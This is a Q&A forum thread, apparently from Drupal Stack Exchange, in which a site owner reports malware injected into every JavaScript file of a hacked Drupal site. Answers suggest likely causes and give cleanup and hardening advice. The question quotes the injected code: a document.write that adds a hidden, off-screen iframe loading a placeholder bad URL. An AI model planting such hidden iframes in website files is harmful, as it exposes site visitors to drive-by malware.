0

I found that in all the JavaScript files on my Drupal website, there is JavaScript code with an <iframe> pointing to an external website. When I open the website through Google Chrome, the browser shows a warning about malware.

How is it possible that someone was able to write code in a JavaScript file?

The file permissions for the settings.php file are 0444.

This is sample of the injected code.

jQuery(document).ready(function($) {
  $("#edit-search-web").Watermark(" type the keyword");
});; document.write('<iframe width="55" height="55" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="SOMEBADURL"></iframe>');
Improve this question

2 Answers 2

Reset to default
4

Without knowing the specifics or your installation, nobody can give you the exact reason you got hacked.

I suspect that your server is running a vulnerable version of PHP and that Apache has write access to your site files. Typically, there will be a bot that will GET a specifc URL that will download a script onto the server, which will then append to well-known (or all) Javascript files. These additions will add in the malicious code.

After you fix this problem, you should.

  • Patch your PHP to bring it up to the latest revision for your version of PHP.
  • Update Drupal to the latest revision for your version.
  • Clean out your /tmp folders on the server and reboot it.
  • Read up on Securing file permissions and ownership. It is important that you fix permissions each time you update files; a lot of FTP clients botch permissions when they upload.
  • If you are on shared hosting, consider moving to a VPS or Drupal specific hosting. Running Apache as your login account makes sense for the server owners, not the website owner.
  • Create a git repo in your DOCROOT, add all of the files (the standard gitignore shoud be fine), and create a "remote" repo on the local filesystem that you can git push to. This makes backuping up and restoring site files pretty easy.
Improve this answer
1
  • I have asked my server provider to set my website to 503. While we are looking for the cause. Thank you very much for your suggestions, i wrote them to my service provider waiting for a response! The other strange thing is i also find a php file named wtm7568n.php on the root of my server(It is outside the public_html).
    – mrcniceguy
    Commented Dec 28, 2012 at 19:26
2

If the changed files are part of conributed modules, the Hacked! module could comme in handy.

This module scans the currently installed Drupal, contributed modules and themes, re-downloads them and determines if they have been changed. Changes are marked clearly and if the diff module is installed then Hacked! will allow you to see the exact lines that have changed.

Improve this answer
2
  • It is not only the contributed modules js, its all the drupal including core javascript files.
    – mrcniceguy
    Commented Dec 28, 2012 at 19:27
  • @mrcniceguy diff module is good to track changed files.
    – niksmac
    Commented Dec 29, 2012 at 7:08

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.